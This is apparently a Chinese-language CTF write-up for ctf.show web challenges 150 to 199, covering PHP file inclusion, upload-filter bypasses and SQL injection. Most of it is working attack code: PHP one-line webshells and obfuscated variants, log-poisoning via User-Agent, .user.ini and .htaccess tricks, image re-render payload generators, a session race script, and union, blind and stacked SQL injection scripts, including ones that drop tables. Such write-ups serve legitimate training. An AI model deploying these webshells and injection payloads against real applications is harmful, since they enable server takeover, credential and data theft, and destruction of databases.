web150 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php include ("flag.php" );error_reporting (0 );highlight_file (__FILE__ );class CTFSHOW { private $username ; private $password ; private $vip ; private $secret ; function __construct ( ) { $this ->vip = 0 ; $this ->secret = $flag ; } function __destruct ( ) { echo $this ->secret; } public function isVIP ( ) { return $this ->vip?TRUE :FALSE ; } } function __autoload ($class ) { if (isset ($class )){ $class (); } }$key = $_SERVER ['QUERY_STRING' ];if (preg_match ('/\_| |\[|\]|\?/' , $key )){ die ("error" ); }$ctf = $_POST ['ctf' ];extract ($_GET );if (class_exists ($__CTFSHOW__ )){ echo "class is exists!" ; }if ($isVIP && strrpos ($ctf , ":" )===FALSE ){ include ($ctf ); }
get传入?isVIP=1
就绕过if($isVIP && strrpos($ctf, “:”)===FALSE)
可以日志文件包含,在User-Agent写入<?php eval($_POST[1]);?>
1 2 get: ?isVIP=1 post: ctf = /var/ log/nginx/ access.log&1 =system("tac f*" );
还有一位大佬有一种神奇的思路 ,用上传文件的形式做
web150plus 过滤了log
1 2 3 4 5 6 __autoload ()函数不是类里面的__autoload — 尝试加载未定义的类 最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦 原因是..CTFSHOW..解析变量成__CTFSHOW__ 然后进行了变量覆盖,因为CTFSHOW是类就会使用__autoload ()函数方法,去加载,因为等于phpinfo就会去加载phpinfo 接下来就去getshell啦
文件上传 web151 前端校验,直接在前端上传一句话木马png,抓包改成php,蚁剑连接找flag
web152 操作和web151一样就可以了
web153 访问/upload发现有回显,而不是404,所以应该是有一个index.php
那么可以通过先上传应该一句话木马的png,再通过上传.user.ini来使一句话木马在index被包含,从而访问/upload来执行命令
web154 过滤了php这个字符,可以用短标签来代替,或者用大小写绕过
web155 和web154一样就可以
web156 过滤了 [
,可以用 {
代替
web157 多过滤了 ;
和{
,因为php 的最后一个分号可以省略,所以分号去掉也能执行
1 <? = system ("tac ../f*" )?>
web158 同上
web159 多过滤了括号,``是shell_exec()函数的缩写。 用反引号 代替.
web160 过滤了反引号,而且还过滤了log,log可以通过”.”来拼接字符串得到,然后考虑日志包含,将日志包含语句写入png文件并上传,再通过.user.ini来包含该语句
1 <?= include "/var/lo" ."g/nginx/access.lo" ."g" ?>
web161 在web160的基础上多了对图片头的检测(GIF89a),其他按照web160的步骤来就可以了
1 2 GIF89a <?= include "/var/lo" ."g/nginx/access.lo" ."g" ?>
web162 开始上难度了,在原来的基础上过滤了.
,也就是日志包含不能直接用来,同时上传的文件内容不能包含.
网上找了一下有两种方法,一种是session竞争,还有一种是远程文件包含
这里就用远程文件包含,在自己服务器上新建应该无后缀的文件(例如heytest),需要确保allow_url_include=On
,内容写上一句话木马,确保外网可以访问
但由于ip是带点的,所以需要将其转化成数字来访问,以此绕过判断,在线ip转数字
然后上传.user.ini包含远程文件即可
1 2 GIF89aauto _prepend_file=https:
session竞争:
利用条件:session文件路径已知,且其中内容部分可控。
1 2 GIF89a auto_prepend_file= "png"
1 2 GIF89a <?= include "/tmp/sess_hey12" ?>
然后抄一下yu22x师傅的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsimport threading session=requests.session() sess='hey12' url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/" url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload" data1={ 'PHP_SESSION_UPLOAD_PROGRESS' :'<?php system("tac ../f*");?>' } file={ 'file' :'hey12' } cookies={ 'PHPSESSID' : sess }def write (): while True : r = session.post(url1,data=data1,files=file,cookies=cookies)def read (): while True : r = session.get(url2) if 'flag' in r.text: print (r.text) threads = [threading.Thread(target=write), threading.Thread(target=read)]for t in threads: t.start()
web163 和162一样操作就可以了
web164 【文件上传绕过】——二次渲染漏洞_二次渲染绕过_剑客 getshell的博客-CSDN博客
png图片二次渲染绕过。
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php $p = array (0xa3 , 0x9f , 0x67 , 0xf7 , 0x0e , 0x93 , 0x1b , 0x23 , 0xbe , 0x2c , 0x8a , 0xd0 , 0x80 , 0xf9 , 0xe1 , 0xae , 0x22 , 0xf6 , 0xd9 , 0x43 , 0x5d , 0xfb , 0xae , 0xcc , 0x5a , 0x01 , 0xdc , 0x5a , 0x01 , 0xdc , 0xa3 , 0x9f , 0x67 , 0xa5 , 0xbe , 0x5f , 0x76 , 0x74 , 0x5a , 0x4c , 0xa1 , 0x3f , 0x7a , 0xbf , 0x30 , 0x6b , 0x88 , 0x2d , 0x60 , 0x65 , 0x7d , 0x52 , 0x9d , 0xad , 0x88 , 0xa1 , 0x66 , 0x44 , 0x50 , 0x33 );$img = imagecreatetruecolor (32 , 32 );for ($y = 0 ; $y < sizeof ($p ); $y += 3 ) { $r = $p [$y ]; $g = $p [$y +1 ]; $b = $p [$y +2 ]; $color = imagecolorallocate ($img , $r , $g , $b ); imagesetpixel ($img , round ($y / 3 ), 0 , $color ); }imagepng ($img ,'2.png' ); echo "执行成功!" ;?>
1 2 get:&0 =system post:1 =tac fl*
然后ctrl s保存图片,查看就能得到命令执行的结果
web165 jpg图片二次渲染绕过。
先上传一张正常的jpg上传上去,然后下载下来服务器返回的图片
使用如下脚本生成木马照片
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 <?php $miniPayload = "<?php system('tac f*');?>" ; if (!extension_loaded ('gd' ) || !function_exists ('imagecreatefromjpeg' )) { die ('php-gd is not installed' ); } if (!isset ($argv [1 ])) { die ('php jpg_payload.php <jpg_name.jpg>' ); } set_error_handler ("custom_error_handler" ); for ($pad = 0 ; $pad < 1024 ; $pad ++) { $nullbytePayloadSize = $pad ; $dis = new DataInputStream ($argv [1 ]); $outStream = file_get_contents ($argv [1 ]); $extraBytes = 0 ; $correctImage = TRUE ; if ($dis ->readShort () != 0xFFD8 ) { die ('Incorrect SOI marker' ); } while ((!$dis ->eof ()) && ($dis ->readByte () == 0xFF )) { $marker = $dis ->readByte (); $size = $dis ->readShort () - 2 ; $dis ->skip ($size ); if ($marker === 0xDA ) { $startPos = $dis ->seek (); $outStreamTmp = substr ($outStream , 0 , $startPos ) . $miniPayload . str_repeat ("\0" ,$nullbytePayloadSize ) . substr ($outStream , $startPos ); checkImage ('_' .$argv [1 ], $outStreamTmp , TRUE ); if ($extraBytes !== 0 ) { while ((!$dis ->eof ())) { if ($dis ->readByte () === 0xFF ) { if ($dis ->readByte !== 0x00 ) { break ; } } } $stopPos = $dis ->seek () - 2 ; $imageStreamSize = $stopPos - $startPos ; $outStream = substr ($outStream , 0 , $startPos ) . $miniPayload . substr ( str_repeat ("\0" ,$nullbytePayloadSize ). substr ($outStream , $startPos , $imageStreamSize ), 0 , $nullbytePayloadSize +$imageStreamSize -$extraBytes ) . substr ($outStream , $stopPos ); } elseif ($correctImage ) { $outStream = $outStreamTmp ; } else { break ; } if (checkImage ('payload_' .$argv [1 ], $outStream )) { die ('Success!' ); } else { break ; } } } } unlink ('payload_' .$argv [1 ]); die ('Something\'s wrong' ); function checkImage ($filename , $data , $unlink = FALSE ) { global $correctImage ; file_put_contents ($filename , $data ); $correctImage = TRUE ; imagecreatefromjpeg ($filename ); if ($unlink ) unlink ($filename ); return $correctImage ; } function custom_error_handler ($errno , $errstr , $errfile , $errline ) { global $extraBytes , $correctImage ; $correctImage = FALSE ; if (preg_match ('/(\d+) extraneous bytes before marker/' , $errstr , $m )) { if (isset ($m [1 ])) { $extraBytes = (int )$m [1 ]; } } } class DataInputStream { private $binData ; private $order ; private $size ; public function __construct ($filename , $order = false , $fromString = false ) { $this ->binData = '' ; $this ->order = $order ; if (!$fromString ) { if (!file_exists ($filename ) || !is_file ($filename )) die ('File not exists [' .$filename .']' ); $this ->binData = file_get_contents ($filename ); } else { $this ->binData = $filename ; } $this ->size = strlen ($this ->binData); } public function seek ( ) { return ($this ->size - strlen ($this ->binData)); } public function skip ($skip ) { $this ->binData = substr ($this ->binData, $skip ); } public function readByte ( ) { if ($this ->eof ()) { die ('End Of File' ); } $byte = substr ($this ->binData, 0 , 1 ); $this ->binData = substr ($this ->binData, 1 ); return ord ($byte ); } public function readShort ( ) { if (strlen ($this ->binData) < 2 ) { die ('End Of File' ); } $short = substr ($this ->binData, 0 , 2 ); $this ->binData = substr ($this ->binData, 2 ); if ($this ->order) { $short = (ord ($short [1 ]) << 8 ) + ord ($short [0 ]); } else { $short = (ord ($short [0 ]) << 8 ) + ord ($short [1 ]); } return $short ; } public function eof ( ) { return !$this ->binData||(strlen ($this ->binData) === 0 ); } }?>
用法
这里的jpgexp.php就是上面脚本的文件名
注意最后是保存下来它渲染后的图片才能查看到命令执行后的结果
web166 zip文件上传,在zip文件写上木马,再连接蚁剑
1 http:// c2f42ffe-fafb-4 d10-ae24-962 cb7085cf0.challenge.ctf.show/upload/ download.php?file=ecf03ed99d519b3c0055258bf106d3c2.zip
web167 上传.htaccess
文件,再上传图片马,然后蚁剑连接
1 2 3 <FilesMatch "jpg" > SetHandler application/x-httpd-php</FilesMatch>
1 http ://6 cfb3a50-6 ef4-46 cf-a308-79 e3148cc278.challenge.ctf.show/upload/1 .jpg
web168 前端png校验
发现过滤了eval,和system,$_POST
$_GET
下面挑一个写木马上传就行了(注意上传文件的位置是/upload/文件夹下)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 脚本1 :<?= `$_REQUEST [1 ]`;?> 脚本2 :<?php $a =$_REQUEST ['a' ]; $b =$_REQUEST ['b' ];$a ($b );?> 脚本3 :<?php $a ='syste' .'m' ;($a )('ls ../' ); 脚本4 :<?php $a = "s#y#s#t#e#m" ;$b = explode ("#" ,$a );$c = $b [0 ].$b [1 ].$b [2 ].$b [3 ].$b [4 ].$b [5 ];$c ($_REQUEST [1 ]);?> 脚本5 :<?php $a =substr ('1s' ,1 ).'ystem' ; $a ($_REQUEST [1 ]); ?> 脚本6 :<?php $a =strrev ('metsys' ); $a ($_REQUEST [1 ]); ?> 脚本7 :$pi =base_convert (37907361743 ,10 ,36 )(dechex (1598506324 ));($$pi {abs})($$pi {acos});
web169 后端同时对文件内容进行过滤: < > ? 空格 $等等(没有亲自测过,看别人wp说的)
MIME限制image/png
前端校验zip
解法:结合.user.ini进行日志包含,UA头写一句话木马(但题目说的是高级免杀,应该是可以通过特殊的构造来绕过查杀的,以后尝试一下)
上传zip后缀文件,并修改MIME,在bp将文件名改为.user.ini
1 auto_append_file=/var/ log /nginx/access.log
然后再用同样的方法上传一个php文件,用于回显日志
web170 同web169
sql注入 web171 查询语句已经给出来了
1 $sql = "select username,password from user where username !='flag' and id = '".$_GET[' id']."' limit 1 ;";
可以使用万能密码
或者用常规的注入手段
1 2 3 4 -1 ' union select 1,database(),3--+ -1' union select 1 ,group_concat(table_name ),2 from information_schema.tables where table_schema='ctfshow_web' -1 ' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=' ctfshow_user'--+ -1' union select 1 ,group_concat(password ),3 from ctfshow_web.ctfshow_user
web172
这次回显位只有1、2,且flag在另一个表里
1 2 3 4 -1 ' union select 1,database()--+ -1' union select 1 ,group_concat(table_name ) from information_schema.tables where table_schema='ctfshow_web' -1 ' union select 1,group_concat(column_name) from information_schema.columns where table_name=' ctfshow_user2'--+ -1' union select 1 ,group_concat(password ) from ctfshow_web.ctfshow_user2
web173 多了个
1 2 3 if (!preg_match('/flag/i' , json_encode($ret ))){ $ret ['msg' ]='查询成功' ; }
还得对得到的结果进行处理在输出出来
参考这个文章:MySQL 字符串函数参考 (sjkjc.com)
有挺多函数可以对字符串进行转换的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ASCII () 返回字符串str的最左面字符的ASCII代码值ORD () 函数返回字符串参数中的第一个字符的字符代码,如果第一个字符是单字节字符, ORD () 函数返回字符的 ASCII 值;如果第一个字符是多字节字符,返回公式 第一个字节代码 + 第二个字节的代码 * 256 + 第三个字节的代码 * 256 * 256 的结果TO_BASE64 () 函数返回给定字符串以 base-64 形式编码后的字符串表示。HEX () 函数返回给定数字或字符串的十六进制值的字符串表示UNHEX () 函数将代表十六进制数值的字符串转换为字节,并返回对应的二进制字符串。LCASE () 函数将字符串转为小写LOWER () 函数将字符串转为小写UCASE () 函数将字符串转为大写UPPER () 函数将字符串转为大写。OCT (number) 函数返回给定数字的八进制值的字符串表示QUOTE () 函数返回一个用单引号包围的字符串REVERSE () 函数返回反转后的字符串SOUNDEX () 函数返回表示字符串发音的 soundex 字符串 详细见https://blog.csdn.net/acme_woo/article/details/5443781 SPACE () 函数返回由指定数量的空格组成的字符串,也就是返回指定数量的空格BIN () 函数返回给定数字的二进制值的字符串表示
这里用TO_BASE64()
1 -1' union select 1 ,to_base64(password ),3 from ctfshow_web.ctfshow_user3 --+
还有更简单的方法
1 -1' union select 1 ,password ,3 from ctfshow_user3 --+
web174 1 2 3 if (!preg_match('/flag|[0-9]/i' , json_encode($ret ))){ $ret ['msg' ]='查询成功' ; }
将数字用replace替换掉
1 -1'+union+select +replace (replace (replace (replace (replace (replace (replace (replace (replace (replace (password ,'0' ,'_a_' ),'1' ,'_b_' ),'2' ,'_c_' ),'3' ,'_d_' ),'4' ,'_e_' ),'5' ,'_f_' ),'6' ,'_g_' ),'7' ,'_h_' ),'8' ,'_i_' ),'9' ,'_j_' ),'aa' +from +ctfshow_user4+where +username='flag' --+
1 ctfshow{_i__d__ d__i__ d_ e_h_ d-_c__a__ g__d_-_e_be_f_-_i_b_d_a-_f__ i__h__ b__j_ee_e__ i__h__ g_ d}
再解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 en_s = "ctfshow{_i__d__d__i__d_e_h_d-_c__a__g__d_-_e_be_f_-_i_b_d_a-_f__i__h__b__j_ee_e__i__h__g_d}" i =0l =len(en_s)new ='' while i<l: if en_s[i]=='_' : j =i+3 de_s =chr(ord(en_s[i+1])-49) new+=de_s i =j else : new+=en_s[i] i+=1print (new)
胡思乱想:
-1’ union select replace(space(ascii(mid(password,1,1))),’ ‘,’a’),’a’ from ctfshow_user4 –+
这样可以通过数有多少个a,来将其数字通过ascii转化成字符,可得到对应位数的字符
理论上只要找到没被preg_match的字符,就能绕过它的输出检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def count_a_characters(input_string): count = 0 for char in input_string: if char == 'a' : count += 1 return count # 在这里替换成你想要检查的字符串 input_str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" # 调用函数并输出结果 result = count_a_characters(input_str)print (f"字符串中包含 {result} 个字符 'a'" )
web175 1 2 3 4 // 检查结果是否有flag if (!preg_match('/[\x00-\x7f]/i' , json_encode($ret ))){ $ret ['msg' ]='查询成功' ; }
必须非ASCII字符才能获得返回值
这里刚才我说的方法好像不行,即便是用“邪恶”的全角字符𝐚
还是其他字符À
(好像是因为它会把不支持的字符全变为?,所以它会输出99个问号,但问号也是ascii字符,所以无回显)
1 -1' union select replace (space(ascii(mid(password ,1 ,1 ))),' ' ,'𝐚' ),'𝐚' from ctfshow_user5 --+
可以用写文件的方法
1 -1 ' union select 1,group_concat(password) from ctfshow_user5 into outfile ' /var/ www/html/ 1 .txt'--+
再访问1.txt
或者用盲注
web176 过滤了小写select,换大写就行了
1 -1' union SELECT 1 ,password ,3 from ctfshow_user--+
或者用万能密码
web177 在上一题的基础上过滤了空格
用/**/
代替空格
1 -1'unionSELECT password ,2 ,3 from ctfshow_user%23
不能用--+
了,因为+
被解析成空格
web178 过滤了/**/
,换%0a
1 -1 '%0 aunion%0 aSELECT%0 apassword, 2 , 3 %0 afrom%0 actfshow_user%23
web179 又被过滤,再换%0C
1 -1 '%0 Cunion%0 CSELECT%0 Cpassword, 2 , 3 %0 Cfrom%0 Cctfshow_user%23
web180 %23
给过滤掉了,可以用闭合号来注释掉后面的语句'1'='
1 -1 'union%0 cselecT%0 c 1 , 2 , group_concat(password)%0 cfrom%0 cctfshow_user%0 cwhere%0 c '1 '= '1
web181 1 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET[' id']."' limit 1 ;";
1 2 3 4 function waf($str){ return preg_match('/ |\* |\x09 |\x0a |\x0b |\x0c |\x00 |\x0d |\xa0 |\x23 |\#|file |into |select / i ', $str ) ; }
and的优先级高于or,需要同时满足两边的条件才会返回true,那么后面可以接一个or,or的两边有一个为true,既可以满足and。即:1 and 0 or 1
可以使用括号代替空格
1 'or(username=' flag ')and' 1 '=' 1
web182 1 2 3 function waf($str){ return preg_match('/ |\* |\x09 |\x0a |\x0b |\x0c |\x00 |\x0d |\xa0 |\x23 |\#|file |into |select |flag / i ', $str ) ; }
可以用like
搭配%
来匹配
%:表示0个或多个任意字符
1 -1 '||(username)like' % fla%
也可以用正则匹配regexp
web183 1 2 // 拼接sql语句查找指定ID用户 $sql = "select count(pass) from " .$_POST ['tableName' ].";" ;
1 2 3 4 function waf($str){ return preg_match('/ |\* |\x09 |\x0a |\x0b |\x0c |\x0d |\xa0 |\x00 |\#|\x23 |file |\=|or |\x7c |select |and |flag |into / i ', $str ) ; }
用括号代替空格,用like代替等号,如果我们猜测的flag确实是真实flag的一部分就会返回user_count = 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requests url="http://b5843871-a72c-4b56-857c-ff1310ebfc19.chall.ctf.show/select-waf.php" flag="ctfshow{" for i in range(0 ,100 ): for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}" : data={ 'tableName' :"(ctfshow_user)where(pass)like'{}%'" .format(flag+j) } r=requests.post(url=url,data=data).text if "$user_count = 1" in r: flag+=j print(flag) if j=='}' : exit () break
web184 1 2 3 4 //对传入的参数进行了过滤 function waf($str){ return preg_match('/\* |\x09 |\x0a |\x0b |\x0c |\0x0d |\xa0 |\x00 |\# |\x23 |file |\= |or |\x7c |select |and |flag |into |where |\x26 |\' |\" |union |\` |sleep |benchmark/i', $str); }
用having
代替where
,16进制绕过引号的限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsimport string url="http://e48a8069-93a1-4f54-92fd-98bf6d2f2e64.challenge.ctf.show/select-waf.php" s=string.digits+string.ascii_lowercase+"{_-}" def asc2hex (s ): a1 = '' a2 = '' for i in s: a1+=hex (ord (i)) a2 = a1.replace("0x" ,"" ) return a2 flag='' for i in range (1 ,45 ): print (i) for j in s: d = asc2hex(f'^ctfshow{flag+j} ' ) data={ 'tableName' :f' ctfshow_user group by pass having pass regexp(0x{d} )' } r=requests.post(url,data=data) if ("user_count = 1" in r.text): flag+=j print (flag) break
web185 1 2 3 4 5 //对传入的参数进行了过滤 function waf($str){ return preg_match('/\* |\x09 |\x0a |\x0b |\x0c |\0x0d |\xa0 |\x00 |\# |\x23 |[0-9] |file |\= |or |\x7c |select |and |flag |into |where |\x26 |\' |\" |union |\` |sleep |benchmark/i', $str); }
过滤了数字,16进制行不通了
可以使用true拼接出数字,再使用char函数转换成字符,最后使用concat进行拼接。比如想获取字符c,c的ascii为99,c就可以等于char(ture+ture+ture......)
(99个true),原来这里的true
也可以代表1
,神奇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport string url="http://800f8f44-55df-4724-b2c8-60421ee1f260.challenge.ctf.show/select-waf.php" s='0123456789abcdef-{}' def convert (strs ): t='concat(' for s in strs: t+= 'char(true' +'+true' *(ord (s)-1 )+'),' return t[:-1 ]+")" flag='' for i in range (1 ,45 ): print (i) for j in s: d = convert(f'^ctfshow{flag+j} ' ) data={ 'tableName' :f' ctfshow_user group by pass having pass regexp({d} )' } r=requests.post(url,data=data) if ("user_count = 1" in r.text): flag+=j print (flag) if j=='}' : exit(0 ) break
web186 1 2 3 4 //对传入的参数进行了过滤 function waf($str){ return preg_match('/\* |\x09 |\x0a |\x0b |\x0c |\0x0d |\xa0 |\% |\< |\> |\^ |\x00 |\# |\x23 |[0-9] |file |\= |or |\x7c |select |and |flag |into |where |\x26 |\' |\" |union |\` |sleep |benchmark/i', $str); }
做法同上
web187 1 2 //拼接sql语句查找指定ID用户 $sql = "select count (*) from ctfshow_user where username = '$username' and password = '$password' ";
1 2 3 4 5 6 7 8 9 10 $username = $_POST ['username' ];$password = md5 ($_POST ['password' ],true );if ($username !='admin' ){ $ret ['msg' ]='用户名不存在' ; die (json_encode ($ret )); }
当MD5函数的第二个参数为true时。返回的是字符串。
1 2 ffifdyopraw: 'or '6 \xc9 ]\x 99 \xe9 !r , \xf9 \xedb\x 1 c
md5('ffifdyop',true)
= 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
会发现直接闭合掉了并且存在or,所以可以直接登录成功。 真是奇妙
web188 1 2 // 拼接sql语句查找指定ID用户$sql = "select pass from ctfshow_user where username = {$username}" ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // 用户名检测if (preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i' , $username )){ $ret ['msg' ]='用户名非法' ; die(json_encode($ret )); }// 密码检测if (!is_numeric($password )){ $ret ['msg' ]='密码只能为数字' ; die(json_encode($ret )); }// 密码判断if ($row ['pass' ]==intval($password )){ $ret ['msg' ]='登陆成功' ; array_push($ret ['data' ], array('flag' =>$flag )); }
需要输入的密码经过intval函数后等于查询出的密码(弱等于==
)
mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,所以where username = 0会把所有数据都查出来
同样的只要真正的密码是字母我们就可以通过输入密码为0来绕过
所以账号密码都为0就可以了
web189 题目说了:flag在api/index.php文件中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (preg_match('/ select |and | |\* |\x09 |\x0a |\x0b |\x0c |\x0d |\xa0 |\x00 |\x26 |\x7c |or |into |from |where |join |sleep |benchmark / i ', $username ) ){ $ret['msg '] ='用户名非法'; die(json_encode($ret ) ); }if (!is_numeric($password ) ){ $ret['msg '] ='密码只能为数字'; die(json_encode($ret ) ); }if ($row['pass '] ==$password){ $ret['msg '] ='登陆成功'; }
盲注读文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport timeurl = "http://9cb4c9e3-266b-448b-9b17-b1ad6e41239b.challenge.ctf.show/api/" flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789" flag = "" #这个位置,是群主耗费很长时间跑出来的位置~ for i in range(257 ,257 +60 ): for x in flagstr: data ={ "username ":"if (substr (load_file ('/var /www /html /api /index .php' ),{},1)=('{}'),1,0)".format(i ,x ), "password" :"0" } print(data ) response = requests.post(url,data =data ) time.sleep(0.3 ) # 8d25是username=1 时的页面返回内容包含的,具体可以看上面的截图~ if response.text.find("8d25" )>0 : print("++++++++++++++++++ {} is right" .format(x)) flag+=x break else : continue print(flag)
web190 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #author:yu22x import requests import string url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php" s=string .ascii_letters+string .digits flag='' for i in range(1 ,45 ): print(i) for j in range(32 ,128 ): #跑库名 # data={ # 'username' :f"'||if(ascii(substr(database(),{i},1))={j},1,0)#" , # 'password' :'1' # } #跑表名 # data={ # 'username' :f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#" , # 'password' :'1' # } #跑列名 # data={ # 'username' :f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#" , # 'password' :'1' # } #跑数据 data={ 'username' :f"'||if(ascii(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#" , 'password' :'1' } r=requests.post(url,data=data) if ("\\u5bc6\\u7801\\u9519\\u8bef" in r.text): flag+=chr (j) print(flag) break
web191 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // 密码检测if (!is_numeric($password )){ $ret ['msg' ]='密码只能为数字' ; die(json_encode($ret )); }// 密码判断if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; }// TODO:感觉少了个啥,奇怪 if (preg_match('/file|into|ascii/i' , $username )){ $ret ['msg' ]='用户名非法' ; die(json_encode($ret )); }
将脚本里面的ascii改成ord
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #author:yu22x import requests import string url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php" s=string .ascii_letters+string .digits flag='' for i in range(1 ,45 ): print(i) for j in range(32 ,128 ): #跑库名 # data={ # 'username' :f"'||if(ascii(substr(database(),{i},1))={j},1,0)#" , # 'password' :'1' # } #跑表名 # data={ # 'username' :f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#" , # 'password' :'1' # } #跑列名 # data={ # 'username' :f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#" , # 'password' :'1' # } #跑数据 data={ 'username' :f"'||if(ord(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#" , 'password' :'1' } r=requests.post(url,data=data) if ("\\u5bc6\\u7801\\u9519\\u8bef" in r.text): flag+=chr (j) print(flag) break
web192 1 2 3 4 if (preg_match('/ file |into |ascii |ord |hex / i ', $username ) ){ $ret['msg '] ='用户名非法'; die(json_encode($ret ) ); }
直接不用ord了,改成跑字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #author:yu22x import requests import string url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php" s=string .ascii_letters+string .digits flag='' for i in range(1 ,45 ): print(i) for j in range(32 ,128 ): #跑表名 # data={ # 'username' :f"'||if((substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))='{chr(j)}',1,0)#" , # 'password' :'1' # } #跑列名 # data={ # 'username' :f"'||if((substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{chr(j)}',1,0)#" , # 'password' :'1' # } #跑数据 data={ 'username' :f"'||if((substr((select f1ag from ctfshow_fl0g),{i},1))='{chr(j)}',1,0)#" , 'password' :'1' } r=requests.post(url,data=data) if ("\\u5bc6\\u7801\\u9519\\u8bef" in r.text): flag+=chr (j) print(flag) break
web193 用mid
代替substr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #author:yu22x import requests import string url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php" s=string .ascii_letters+string .digits flag='' for i in range(1 ,45 ): print(i) for j in range(32 ,128 ): #跑表名 # data={ # 'username' :f"'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))='{chr(j)}',1,0)#" , # 'password' :'1' # } #跑列名 # data={ # 'username' :f"'||if((mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{chr(j)}',1,0)#" , # 'password' :'1' # } #跑数据 data={ 'username' :f"'||if((mid((select f1ag from ctfshow_flxg),{i},1))='{chr(j)}',1,0)#" , 'password' :'1' } r=requests.post(url,data=data) if ("\\u5bc6\\u7801\\u9519\\u8bef" in r.text): flag+=chr (j) print(flag) break
web194 同上
web195 考察堆叠注入
1 2 // 拼接sql语句查找指定ID用户$sql = "select pass from ctfshow_user where username = {$username};" ;
1 2 1;update (ctfshow_user)set `username` =1 ; 1;update (ctfshow_user)set `pass` =1 ;
再用1/1
登录,注意注入点是在username上
web196 这后台是没有过滤select的
可以输入username为1;select(9)
,password为9。当$row
获取到第二个查询语句select(9)
的结果集时,即可获得$row[0]=9
,那么password输入9就可以满足条件判断。
或者
web197 过滤了select
根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables
,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。
1 2 用户名:1 ;show table 密码:ctfshow_user
或者删表,重新建一个同样表名的表,自己设定账号密码
1 0 ;drop table ctfshow_user ;create table ctfshow_user (`username` varchar (100 ),`pass` varchar (100 ));insert ctfshow_user (`username` ,`pass` ) value (1 ,1 )
web198 同上
web199 同上
